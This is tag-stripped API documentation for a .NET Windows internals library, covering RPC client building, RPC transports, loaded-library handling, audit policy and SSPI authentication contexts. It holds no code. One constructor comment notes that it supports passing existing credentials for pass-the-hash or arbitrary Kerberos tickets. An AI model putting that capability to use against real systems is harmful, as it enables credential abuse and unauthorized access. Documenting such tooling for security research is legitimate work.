the library or the specific format used. + + + + Deserialize an RPC server instance from a byte array. + + The byte array to deserialize from. + The RPC server instance. + The data used by this method should only use the output from serialize. No guarantees of compatibility is made between + versions of the library or the specific format used. + + + + Get the default RPC server security descriptor. + + The default security descriptor. + + + + Flags for the RPC server parser. + + + + + None. + + + + + Parse client entries. + + + + + Ignore symbols when parsing. + + + + + Try and resolve structure names. Needs private symbols. + + + + + Enable a symbol server fallback. If the copy of dbghelp doesn't have a symsrv.dll + then download from a public symbol URL to a local cache directory during symbol + resolving. + + + + + Base class for a RPC client. + + + + + Constructor. + + The interface ID. + Version of the interface. + + + + Constructor. + + The interface ID as a string. + Major version of the interface. + Minor version of the interface. + + + + Send and receive an RPC message. + + The procedure number. + The NDR data representation. + Marshal NDR buffer for the call. + List of handles marshaled into the buffer. + Unmarshal NDR buffer for the result. + + + + Method to call to check if the transport supports synchronous pipes. + + + + + Method to call to check if the transport supports asynchronous pipes. + + + + + Get whether the client is connected or not. + + + + + Get the endpoint that we connected to. + + + + + Get the protocol sequence that we connected to. + + + + + Get or set the current Object UUID used for calls. + + + + + The RPC interface ID. + + + + + The RPC interface version. + + + + + Get the client transport object. + + + + + Connect the client to a RPC endpoint. + + The endpoint for RPC server. + The transport security for the connection. + + + + Connect the client to a RPC endpoint. + + The endpoint for RPC server. + The security quality of service for the connection. + + + + Connect the client to a RPC endpoint. + + The protocol sequence for the transport. + The endpoint for the protocol sequence. + The network address for the protocol sequence. + The security quality of service for the connection. + + + + Connect the client to a RPC endpoint. + + The protocol sequence for the transport. + The endpoint for the protocol sequence. + The network address for the protocol sequence. + The transport security for the connection. + + + + Connect the client to a RPC endpoint. + + The protocol sequence for the transport. + The endpoint for the protocol sequence. + The security quality of service for the connection. + + + + Connect the client to a RPC endpoint. + + The protocol sequence for the transport. + The endpoint for the protocol sequence. + The transport security for the connection. + + + + Connect the client to an ALPC RPC port. + + The path to the ALPC RPC port. + The security quality of service for the port. + + + + Connect the client to a RPC endpoint. + + The binding string for the RPC server. + The transport security for the connection. + + + + Connect the client to an ALPC RPC port. + + The path to the ALPC RPC port. If an empty string the endpoint will be looked up in the endpoint mapper. + + + + Connect the client to an ALPC RPC port. + + The ALPC endpoint will be looked up in the endpoint mapper. + + + + Dispose of the client. + + + + + Disconnect the client. + + + + + Builder to create an RPC client from an RpcServer class. + + + + + Build a source file for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + The code generation options, can be null. + The code dom provider, such as CSharpDomProvider + The source code file. + + + + Build a C# source file for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + The C# source code file. + + + + Build a C# source file for the RPC client. + + The RPC server to base the client on. + The C# source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + Name of the decoder class. Can be null or empty to use default. + Name of the encoder class. Can be null or empty to use default. + Name of the generated namespace. Null or empty specified no namespace. + The code generation options, can be null. + The code dom provider, such as CSharpDomProvider + True to wrap complex decoders in a unique pointer. + The source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + Name of the decoder class. Can be null or empty to use default. + Name of the encoder class. Can be null or empty to use default. + Name of the generated namespace. Null or empty specified no namespace. + The code generation options, can be null. + The code dom provider, such as CSharpDomProvider + The source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + Name of the decoder class. Can be null or empty to use default. + Name of the encoder class. Can be null or empty to use default. + Name of the generated namespace. Null or empty specified no namespace. + True to wrap complex decoders in a unique pointer. + The source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + Name of the decoder class. Can be null or empty to use default. + Name of the encoder class. Can be null or empty to use default. + Name of the generated namespace. Null or empty specified no namespace. + The source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + The C# source code file. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + True to ignore cached assemblies. + Code DOM provider to compile the assembly. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + True to ignore cached assemblies. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + True to ignore cached assemblies. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Create an instance of an RPC client. + + The RPC server to base the client on. + True to ignore cached assemblies. + Additional builder arguments. + Code DOM provider to compile the assembly. + The created RPC client. + This method will cache the results of the compilation against the RpcServer. + + + + Create an instance of an RPC client. + + The RPC server to base the client on. + True to ignore cached assemblies. + Additional builder arguments. + The created RPC client. + This method will cache the results of the compilation against the RpcServer. + + + + Create an instance of an RPC client. + + The RPC server to base the client on. + Additional builder arguments. + The created RPC client. + This method will cache the results of the compilation against the RpcServer. + + + + Create an instance of an RPC client. + + The RPC server to base the client on. + The created RPC client. + This method will cache the results of the compilation against the RpcServer. + + + + Flags for the RPC client builder. + + + + + None. + + + + + Generate public properties on the client to create defined complex types. + + If not specified then constructors will be defined on the types themselves. + + + + Insert breakpoints into the start of every generated method. Also enables debugging. + + + + + Disable calculated correlation information. This will prevent automatic updating of array and + string lengths based on other parameters or fields. This might result in unexpected behavior or + call failures. This won't disable correlations for union types or constant correlations. + + + + + Don't emit any namespace, normally not specifying a namespace will auto-generate one. + + + + + Output FC_CHAR as if the original compiler had specified unsigned char types. Basically converts + System.SByte to System.Byte where needed which makes the methods easier to use. + + + + + Return ref/out parameters via a structure rather than requiring ref/out parameters in client + methods. + + + + + When using StructureReturn hide the original out/ref methods. + + + + + Generate encode/decode methods for complex types. + + + + + Exclude any text in the source code which can change between generations. + + + + + Wrap complex type decoders with a unique pointer. + + + + + Marshal pipe parameters using arrays. + + + + + Arguments for the RPC client builder. + + + + + Builder flags. + + + + + The namespace for the client class. + + + + + The class name of the client. + + + + + The class name of the complex type encoding class. + + + + + The class name of the complex type decoder class. + + + + + Enable debugging on built code. + + + + + GetHashCode implementation. + + The hash code. + + + + Equals implementation. + + The object to compare against. + True if the object is equal. + + + + Response data from an RPC client call. + + + + + The marshaled NDR data from the response. + + + + + Any object handles returned in the response. (only for ALPC). + + + + + Indicates the NDR data representation for the response. + + + + + Class to represent details about a server process. + + + + + The server process ID. + + + + + The server session ID. + + + + + The name of the process. + + + + + Get the process image path. + + + + + Overridden ToString method. + + + + + + Some addition internal utilities for RPC code. + + + + + Specify RPC trace level. + + Specify the RPC trace level. + This dumps NDR data. Verbose dumps the binary data. + + + + Specify RPC transport trace level. + + Specify the RPC transport trace level. + Verbose dumps the transport binary data. + + + + Helper to dereference a type. + + The type to dereference. + The value to dereference. + The dereferenced result. + + + + Helper to dereference a type. + + The type to dereference. + The value to dereference. + The dereferenced result. + + + + Helper to check for NULL. + + The type to check. + The object to check. + The name of the value to check. + The checked value. + + + + Helper to check for NULL. + + The type to check. + The object to check. + The name of the value to check. + The checked value. + + + + Helper to check for NULL. + + The type to check. + The object to check. + The name of the value to check. + The checked value. + + + + Helper to dereference a type. + + The type to dereference. + The value to dereference. + The dereferenced result. + + + + Helper to perform a plus unary operation. + + The value to apply the operator to. + The result. + + + + Helper to perform a minus unary operation. + + The value to apply the operator to. + The result. + + + + Helper to perform a complement unary operation. + + The value to apply the operator to. + The result. + + + + Perform a ternary operation. + + The condition to evaluate as != 0. + The result if true. + The result if false. + The result. + + + + Perform ADD. + + The left operand. + The right operand. + The result. + + + + Perform SUB. + + The left operand. + The right operand. + The result. + + + + Perform MUL. + + The left operand. + The right operand. + The result. + + + + Perform DIV. + + The left operand. + The right operand. + The result. + + + + Perform MOD. + + The left operand. + The right operand. + The result. + + + + Perform Bitwise AND. + + The left operand. + The right operand. + The result. + + + + Perform Bitwise OR. + + The left operand. + The right operand. + The result. + + + + Perform bitwise XOR. Needed as Code DOM doesn't support XOR. + + The left operand. + The right operand. + The result. + + + + Perform bitwise LEFTSHIFT. + + The left operand. + The right operand. + The result. + + + + Perform bitwise RIGHTSHIFT. + + The left operand. + The right operand. + The result. + + + + Perform logical AND. + + The left operand. + The right operand. + The result. + + + + Perform logical OR. + + The left operand. + The right operand. + The result. + + + + Perform EQUAL. + + The left operand. + The right operand. + The result. + + + + Perform NOTEQUAL. + + The left operand. + The right operand. + The result. + + + + Perform GREATER. + + The left operand. + The right operand. + The result. + + + + Perform GREATEREQUAL. + + The left operand. + The right operand. + The result. + + + + Perform LESS. + + The left operand. + The right operand. + The result. + + + + Perform LESSEQUAL. + + The left operand. + The right operand. + Returns left LESSEQUAL right. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The nullable value + True if value has a value set. + + + + Convert value to a boolean. + + The nullable value + True if value has a value set. + + + + Compose a string binding from its parts. + + The object UUID. + The protocol sequence. + The network address. + The endpoint. + The options. + The composed binding string. + + + + Interface to implement an RPC client transport. + + + + + Bind the RPC transport to a specified interface. + + The interface ID to bind to. + The interface version to bind to. + The transfer syntax to use. + The transfer syntax version to use. + + + + Send and receive an RPC message. + + The procedure number. + The object UUID for the call. + NDR data representation. + Marshal NDR buffer for the call. + List of handles marshaled into the buffer. + Client response from the send. + + + + Add and authenticate a new security context. + + The transport security for the context. + The created security context. + + + + Disconnect the transport. + + + + + Get whether the client is connected or not. + + + + + Get the endpoint the client is connected to. + + + + + Get the transport protocol sequence. + + + + + Get whether the client has been authenticated. + + + + + Get the transport's authentication type. + + + + + Get the transport's authentication level. + + + + + Get information about the local server process, if known. + + + + + Get the current Call ID. + + + + + Indicates if this connection supported multiple security context. + + + + + Get the list of negotiated security context. + + + + + Get or set the current security context. + + + + + Get whether the transport supports synchronous pipes. + + + + + RPC client transport over ALPC. + + + + + Constructor. + + The path to connect. The format depends on the transport. + The security quality of service for the connection. + + + + Constructor. + + The path to connect. The format depends on the transport. + The security quality of service for the connection. + Timeout for connection. + + + + Bind the RPC transport to an interface. + + The interface ID to bind to. + The interface version to bind to. + The transfer syntax to use. + The transfer syntax version to use. + + + + Send and receive an RPC message. + + The procedure number. + The object UUID for the call. + NDR data representation. + Marshal NDR buffer for the call. + List of handles marshaled into the buffer. + Client response from the send. + + + + Dispose of the client. + + + + + Disconnect the client. + + + + + Add and authenticate a new security context. + + The transport security for the context. + The created security context. + + + + Get whether the client is connected or not. + + + + + Get the ALPC port path that we connected to. + + + + + Get the current Call ID. + + + + + Get the transport protocol sequence. + + + + + Get information about the local server process, if known. + + + + + Get whether the client has been authenticated. + + + + + Get the transports authentication type. + + + + + Get the transports authentication level. + + + + + Indicates if this connection supported multiple security context. + + + + + Get the list of negotiated security context. + + + + + Get or set the current security context. + + + + + Get whether the transport supports synchronous pipes. + + + + + Flags to specify RPC authentication capabilities. + + + + + None. + + + + + Enable mutual authentication. + + + + + Enable a NULL session authentication. + + + + + Enable delegation of credentials if supported. + + + + + Authentication level for RPC transport. + + + + + Default. + + + + + None. + + + + + Connect only. + + + + + Call only. + + + + + Packet only. + + + + + Packet integrity. + + + + + Packer privacy and integrity. + + + + + RPC authentication type. + + + + + Default. Uses WinNT. + + + + + No authentication. + + + + + DCE private. + + + + + DCE public. + + + + + DEC public. + + + + + SPNEGO authentication. + + + + + WinNT authentication, i.e. NTLM. + + + + + Secure channel. + + + + + Kerberos. + + + + + DPA. + + + + + MSN. + + + + + Digest. + + + + + Kernel. + + + + + SPNEGO extender. + + + + + PKU2U + + + + + LiveSSP + + + + + LiveXP SSP. + + + + + CloudAP. + + + + + Netlogon. + + + + + MS Online. + + + + + Message Queue. + + + + + Interface to implement an RPC client transport factory. + + + + + Connect a new RPC client transport. + + The RPC endpoint. + The transport security for the connection. + The connected transport. + + + + Factory for RPC client transports. + + + + + Add a new transport factory. + + The protocol sequence to add. + The transport factory. + + + + Connect a client transport from an endpoint. + + The RPC endpoint. + The security quality of service for the connection. + The connected client transport. + Thrown if protocol sequence unsupported. + Other exceptions depending on the connection. + + + + Connect a client transport from an endpoint. + + The RPC endpoint. + The transport security for the connection. + The connected client transport. + Thrown if protocol sequence unsupported. + Other exceptions depending on the connection. + + + + Base class for a DCE/RPC connected client transport. This implements the common functions + of the DCE/RPC specs for connected network based RPC transports. + + + + + Constructor. + + The initial maximum receive fragment length. + The initial maximum send fragment length. + The transport security for the connection. + The data representation. + + + + Read the next fragment from the transport. + + The maximum receive fragment length. + The read fragment. + + + + Write the fragment to the transport. + + The fragment to write. + True if successfully wrote the fragment. + + + + Get whether the client is connected or not. + + + + + Get the endpoint the client is connected to. + + + + + Get the transport protocol sequence. + + + + + Get information about the server process, if known. + + + + + Get whether the client has been authenticated. + + + + + Get the transports authentication type. + + + + + Get the transports authentication level. + + + + + Get the transport authentication context. + + + + + Indicates if this connection supported multiple security context. + + + + + Get the list of negotiated security context. + + + + + Get or set the current security context. + + + + + Get the current Call ID. + + + + + Get maximum receive fragment. + + + + + Get maximum send fragment. + + + + + Get association group ID. + + + + + Get whether the transport supports synchronous pipes. + + + + + Bind the RPC transport to a specified interface. + + The interface ID to bind to. + The interface version to bind to. + The transfer syntax to use. + The transfer syntax version to use. + + + + Add and authenticate a new security context. + + The transport security for the context. + The created security context. + + + + Send and receive an RPC message. + + The procedure number. + The object UUID for the call. + NDR data representation. + Marshal NDR buffer for the call. + List of handles marshaled into the buffer. + Client response from the send. + + + + Disconnect the transport. + + + + + Enable or disable bind time feature negotiation. You need to enable this to + use multiple security context. + + Should be set before connecting an RPC client. + + + + Dispose the transport. + + + + + Extended error information. + + + + + Computer name. + + + + + Process ID. + + + + + Timestamp. + + + + + Generating component. + + + + + Status code. + + + + + Detection location. + + + + + Flags. + + + + + Extra parameters. + + + + + Exception for RPC fault conditions. + + + + + Constructor. + + The RPC status code. + + + + Get extended error information. + + + + + RPC client transport over HyperV sockets. + + + + + Constructor. + + The HyperV socket endpoint to connect to. + The transport security for the connection. + + + + Get the transport protocol sequence. + + + + + RPC client transport over named pipes. + + + + + Constructor. + + The NT pipe path to connect. e.g. \??\pipe\ABC. + The transport security for the connection. + + + + Dispose of the client. + + + + + Disconnect the client. + + + + + Read the next fragment from the transport. + + The maximum receive fragment length. + The read fragment. + + + + Write the fragment to the transport. + + The fragment to write. + True if successfully wrote the fragment. + + + + Get whether the client is connected or not. + + + + + Get the named pipe port path that we connected to. + + + + + Get the transport protocol sequence. + + + + + Get information about the local server process, if known. + + + + + Class to implement a RPC client transport based on a stream. + + + + + Constructor. + + The stream to use to communicate with the transport. + The initial maximum receive fragment length. + The initial maximum send fragment length. + The transport security for the connection. + The data representation. + + + + Read the next fragment from the transport. + + The maximum receive fragment length. + The read fragment. + + + + Write the fragment to the transport. + + The fragment to write. + True if successfully wrote the fragment. + + + + Class to implement RPC over a stream based socket. + + + + + Constructor. + + The socket to use to communicate. + The initial maximum receive fragment length. + The initial maximum send fragment length. + The transport security for the connection. + The data representation. + + + + Disconnect the client. + + + + + Dispose of the client. + + + + + Get whether the client is connected or not. + + + + + Get the named pipe port path that we connected to. + + + + + RPC client transport over TCP/IP; + + + + + Get the server process information. + + The server process information. + + + + Constructor. + + The hostname to connect to. + The TCP port to connect to. + The transport security for the connection. + + + + Get the transport protocol sequence. + + + + + Get information about the local server process, if known. + + + + + Exception generated by the RPC transport. + + + + + Constructor. + + + + + Constructor. + + Exception message. + + + + Constructor. + + Exception message. + Inner exception. + + + + Class to represent the RPC transport security. + + + + + Security quality of service. + + + + + Authentication level. + + + + + Authentication type. + + + + + Authentication credentials. + + + + + The SPN for the authentication. + + + + + Authentication capabilities. + + + + + Constructor. + + Factory to create a non-standard authentication context. + You can use this version to create a mechanism to pass existing tokens such as pass-the-hash or sending arbitrary Kerberos tickets. + + + + Constructor. + + Security quality of service. + + + + Query the service principal name for the server. + + The binding string for the server. + The authentication service to query. + True to throw on error. + The service principal name. + + + + Query the service principal name for the server. + + The binding string for the server. + The authentication service to query. + The service principal name. + + + + Class to represent an RPC transport security context. + + + + + The ID of the security context. + + + + + The RPC transport security settings. + + + + + The authentication context. + + + + + The negotiated authentication type. + + + + + The authentication level. + + + + + Dummy class to mark the old name as obsolete. + + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Safe handle for a loaded library. + + + + + Constructor + + The handle to the library + True if the handle is owned by this object. + + + + Release handle. + + True if handle released. + + + + Get the address of an exported function, throw if the function doesn't exist. + + The name of the exported function. + True to throw on error. + Pointer to the exported function. + Thrown if the name doesn't exist. + + + + Get the address of an exported function from an ordinal. + + The ordinal of the exported function. + True to throw on error. + Pointer to the exported function. + Thrown if the ordinal doesn't exist. + + + + Get the address of an exported function. + + The name of the exported function. + Pointer to the exported function, or IntPtr.Zero if it can't be found. + + + + Get the address of an exported function from an ordinal. + + The ordinal of the exported function. + Pointer to the exported function, or IntPtr.Zero if it can't be found. + + + + Get a delegate which points to an unmanaged function. + + The delegate type. + The name of the function to lookup. + True to throw on error. + The delegate. + + + + Get a delegate which points to an unmanaged function. + + The delegate type. The name of the delegate is used to lookup the name of the function. + True to throw on error. + The delegate. + + + + Get a delegate which points to an unmanaged function. + + The delegate type. + The name of the function to lookup. + The delegate. + + + + Get a delegate which points to an unmanaged function. + + The delegate type. The name of the delegate is used to lookup the name of the function. + The delegate. + + + + Pin the library into memory. This prevents FreeLibrary unloading the library until + the process exits. + + + + + Parse a library's delayed import information. + + A dictionary containing the location of import information keyed against the IAT address. + + + + Get the image sections from a loaded library. + + The list of image sections. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type name of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The well known type of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type name of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The well known type of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type name of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The well known type of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type name of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The well known type of the resource. + The bytes for the resource. + + + + Get list of resource types from the loaded library. + + The list of resource types. + + + + Get list of resource types from the loaded library. + + The type for the resources. + True to load the resource data. + The list of resource types. + + + + Get list of resource types from the loaded library. + + The type for the resources. + The list of resource types. + This always loads resource data into memory. + + + + Get list of resource types from the loaded library. + + The typename for the resources. + True to load the resource data. + The list of resource types. + + + + Get list of resource types from the loaded library. + + The typename for the resources. + The list of resource types. + This always loads resource data into memory. + + + + Get list of resource types from the loaded library. + + The well known type for the resources. + True to load the resource data. + The list of resource types. + + + + Get list of resource types from the loaded library. + + The well known type for the resources. + The list of resource types. + This always loads resource data into memory. + + + + Get list of resource types from the loaded library. + + True to load the resource data. + The list of resource types. + + + + Get list of resource types from the loaded library. + + The list of resource types. + This always loads resource data into memory. + + + + Load a string for the library's string resource table. + + The ID of the string. + True to throw on error. + The loaded string. + + + + Load a string for the library's string resource table. + + The ID of the string. + The loaded string. + + + + Increases the reference count and returns a new instance. + + + + + + Get path to loaded module. + + + + + Get the module name. + + + + + Whether this library is mapped as an image. + + + + + Whether this library is mapped as a datafile. + + + + + Get current mapped image base. + + + + + Get original image base address. + + + + + Get image entry point RVA. + + + + + Get image entry point address as mapped. + + + + + Get whether the image is 64 bit or not. + + + + + Get the image's DLL characteristics flags. + + + + + Get exports from the DLL. + + + + + Get imports from the DLL. + + + + + Return resolved API set imports for the DLL. + + + + + Get CodeView Debug Data from DLL. + + + + + Get image signing level. + + + + + Get embedded enclave configuration. + + + + + Load a library into memory. + + The path to the library. + Additonal flags to pass to LoadLibraryEx + True to throw on error. + Handle to the loaded library. + + + + Load a library into memory. + + The path to the library. + Additonal flags to pass to LoadLibraryEx + Handle to the loaded library. + + + + Load a library into memory. + + The path to the library. + Handle to the loaded library. + + + + Get the handle to an existing loading library by name. + + The name of the module. + The handle to the loaded library. + Thrown if the module can't be found. + This will take a reference on the library, you should dispose the handle after use. + + + + Get the handle to an existing loading library by name. + + The name of the module. + The handle to the loaded library. Returns Null if not found. + This will take a reference on the library, you should dispose the handle after use. + + + + Get the handle to an existing loading library by an address in the module. + + An address inside the module. + The handle to the loaded library, null if the address isn't inside a valid module. + This will take a reference on the library, you should dispose the handle after use. + + + + Pin the library into memory. This prevents FreeLibrary unloading the library until + the process exits. + + The name of the module to pin. + + + + Pin the library into memory. This prevents FreeLibrary unloading the library until + the process exits. + + The address of the module to pin. + + + + NULL load library handle. + + + + + Represents an impersonation safe win32 exception, which resolves the win32 message when Message is called. + + + + + Constructor. + + + + + Constructor. + + Win32 error. + + + + The message for the exception. + + + + + Access rights for system audit policy. + + + + + System Audit Category. + + + + + System Audit Category. + + + + + The user for the per-user category. + + + + + System Audit Category base class. + + + + + The ID of the category. + + + + + The name of the category. + + + + + List of sub categories. + + + + + Convert to string. + + The name of the category. + + + + Set audit policy on all sub categories. + + The flags to set. + True to throw on error. + The audit policy flags. + + + + Set audit policy on all sub categories. + + The flags to set. + The audit policy flags. + + + + Type of global SACL to query or set. + + + + + File type. + + + + + Key type. + + + + + Policy audit event type. + + + + + Audit policy flags. + + + + + Set unchanged. + + + + + Audit on success. + + + + + Audit on failure. + + + + + Audit nothing. + + + + + Per user policy flags. + + + + + Set unchanged. + + + + + Audit on success included. + + + + + Audit on success excluded. + + + + + Audit on failure included. + + + + + Audit on failure excluded. + + + + + Audit nothing. + + + + + Utilities for security auditing policy. + + + + + Name for the fake Audit NT type. + + + + + Get the generic mapping for directory services. + + The directory services generic mapping. + + + + Get a fake NtType for System Audit Policy. + + The fake Directory Services NtType + + + + Query the Auditing Security Descriptor. + + The security information to query. + True to throw on error. + The security descriptor. + + + + Query the Auditing Security Descriptor. + + The security information to query. + The security descriptor. + + + + Query the Auditing Security Descriptor. + + The security descriptor. + + + + Set the Auditing Security Descriptor. + + The security information to set. + The security descriptor to set. + True to throw on error. + The NT status code. + + + + Set the Auditing Security Descriptor. + + The security information to set. + The security descriptor to set. + The NT status code. + + + + Query the global SACL. + + The global SACL type. + True to throw on error. + The global SACL in a Security Descriptor. + + + + Query the global SACL. + + The global SACL type. + The global SACL in a Security Descriptor. + + + + Set the global SACL. + + The global SACL type. + The SACL to set in an Security Descriptor. + True to throw on error. + The NT status code. + + + + Set the global SACL. + + The global SACL type. + The SACL to set in an Security Descriptor. + The NT status code. + + + + Get list of Audit Policy categories. + + True to throw on error. + The list of categories. + + + + Get list of Audit Policy categories. + + The list of categories. + + + + Get a single category. + + The category type. + The audit category. + + + + Get a single category. + + The category GUID. + The audit category. + + + + Get all per-user categories for denied users. + + True to throw on error. + The list of per-user categories. + + + + Get all per-user categories for denied users. + + The list of per-user categories. + + + + Get list of per-user Audit Policy categories. + + The user SID to query. + True to throw on error. + The list of categories. + + + + Get list of per-user Audit Policy categories. + + The user SID to query. + The list of categories. + + + + Get a single per-user category. + + The user SID to query. + The category type. + The audit category. + + + + Get a single per-user category. + + The user SID to query. + The category GUID. + The audit category. + + + + Class representing an Audit Sub Category. + + + + + The category. + + + + + Class representing an Audit Sub Category. + + + + + The category. + + + + + The user for the per-user category. + + + + + Class representing an Audit Sub Category. Base class. + + Enum type for the Policy flags. + + + + The ID of the sub category. + + + + + The name of the sub category. + + + + + The Current Audit Policy + + + + + Convert to string. + + The name of the subcategory. + + + + Query audit policy. + + True to throw on error. + The audit policy flags. + + + + Set audit policy. + + The flags to set. + True to throw on error. + The audit policy flags. + + + + Set audit policy. + + The flags to set. + The audit policy flags. + + + + Authentication token constructed from ASN1. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The ASN1 authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Base class for authentication credentials. + + + + + Security data representation. + + + + + Native representation. + + + + + Network representation. + + + + + Credital flags. + + + + + Inbound credentials. + + + + + Outbound credentials. + + + + + Both credentials direction. + + + + + Default. + + + + + Auto logon restricted. Don't use automatic credentials. + + + + + Only process policy. + + + + + Initialize context request flags. + + + + + Initialize context return flags. + + + + + Access context request flags. + + + + + Accept context return flags. + + + + + Security package capability flags. + + + + + Supports integrity on messages + + + + + Supports privacy (confidentiality) + + + + + Only security token needed + + + + + Datagram RPC support + + + + + Connection oriented RPC support + + + + + Full 3-leg required for re-auth. + + + + + Server side functionality not available + + + + + Supports extended error msgs + + + + + Supports impersonation + + + + + Accepts Win32 names + + + + + Supports stream semantics + + + + + Can be used by the negotiate package + + + + + GSS Compatibility Available + + + + + Supports common LsaLogonUser + + + + + Token Buffers are in ASCII + + + + + Package can fragment to fit + + + + + Package can perform mutual authentication + + + + + Package can delegate + + + + + Supports integrity readonly checksum buffers. + + + + + Package supports restricted callers + + + + + This package extends SPNEGO, there is at most one + + + + + This package is negotiated under the NegoExtender + + + + + This package receives all calls from appcontainer apps + + + + + this package receives calls from appcontainer apps + if the following checks succeed + 1. Caller has domain auth capability or + 2. Target is a proxy server or + 3. The caller has supplied creds + + + + + This package is running with Credential Guard enabled + + + + + this package supports reliable detection of loopback + 1.) The client and server see the same sequence of tokens + 2.) The server enforces a unique exchange for each + non-anonymous authentication. (Replay detection) + + + + + Impersonation context for a server authentication. + + + + + Base class which represents an authentication key. + + + + + An authentication package entry. + + + + + Authentication package name for MSV1.0 + + + + + Authentication package name for Kerberos. + + + + + Authentication package name for Negotiate. + + + + + Authentication package name for NTLM. + + + + + Authentication package name for Digest. + + + + + Authentication package name for SChannel. + + + + + Authentication package name for CredSSP. + + + + + Capabilities of the package. + + + + + Version of the package. + + + + + RPC DCE ID. + + + + + Max token size. + + + + + Name of the package. + + + + + Comment for the package. + + + + + Get authentication packages. + + The list of authentication packages. + + + + Get authentication package names. + + The list of authentication package names. + + + + Get an authentication package by name. + + The name of the package. + The authentication package. + + + + Base class to represent an authentication token. + + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Convert the authentication token to a byte array. + + The byte array. + + + + Get the length of the token in bytes. + + + + + Format the authentication token. + + The token as a formatted string. + + + + Constructor. + + The authentication token data. + + + + Parse a structured authentication token. + + The authentication context. + The token to parse. + The parsed authentication token. If can't parse any other format returns + a raw AuthenticationToken. + + + + Parse a structured authentication token. + + The package name to parse as. + True if the token is from a client. + The token to parse. + The parsed authentication token. If can't parse any other format returns + a raw AuthenticationToken. + + + + Class to represent a client authentication context. + + + + + The current authentication token. + + + + + Whether the authentication is done. + + + + + Current request attribute flags. + + + + + Current return attribute flags. + + + + + Current data representation. + + + + + Current target name. + + + + + Current channel binding. + + + + + Current status flags. + + + + + Expiry of the authentication. + + + + + Get the Session Key for this context. + + + + + Get the maximum signature size of this context. + + + + + Get the size of the security trailer for this context. + + + + + Size of any header when using a stream protocol such as Schannel. + + + + + Size of any trailer when using a stream protocol such as Schannel. + + + + + Number of buffers needed when using a stream protocol such as Schannel. + + + + + Maximum message size when using a stream protocol such as Schannel. + + + + + Preferred block size when using a stream protocol such as Schannel. + + + + + Get the local certificate. Only used for Schannel related authentication. + + + + + Get the remote certificate. Only used for Schannel related authentication. + + + + + Get the last token status for the client context. + + + + + Get the name of the authentication package. + + + + + Get connection information for the schannel connection. + + + + + Get whether the authentication context is for loopback. + + + + + Get or set whether the context owns the credentials object or not. If true + then the credentials are disposed with the context. + + + + + Constructor. + + Credential handle. + Request attribute flags. + Target SPN (optional). + Data representation. + Optional channel binding token. + Specify to default initialize the context. Must call Continue with an auth token to initialize. + + + + Constructor. + + Credential handle. + Request attribute flags. + Target SPN (optional). + Data representation. + Optional channel binding token. + + + + Constructor. + + Credential handle. + Request attribute flags. + Target SPN (optional). + Data representation. + + + + Constructor. + + Credential handle. + Request attribute flags. + Data representation. + + + + Constructor. + + Credential handle. + + + + Continue the authentication with the server token. + + The server token to continue authentication. + + + + Continue the authentication.. + + The server token to continue authentication. + Additional input buffers for the continue, does not need to include the token. + + + + Continue the authentication. + + The server token to continue authentication. + Additional input buffers for the continue, does not need to include the token. + Additional output buffers, does not need to include the token. + + + + Continue the authentication without any token. + + Input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + True to throw on error. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication without any token. + + Input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication. Will not pass any buffers to the initialize call. + + + + + Make a signature for this context. + + The message buffers to sign. + The sequence number. + The signature blob. + + + + Make a signature for this context. + + The message to sign. + The sequence number. + The signature blob. + + + + 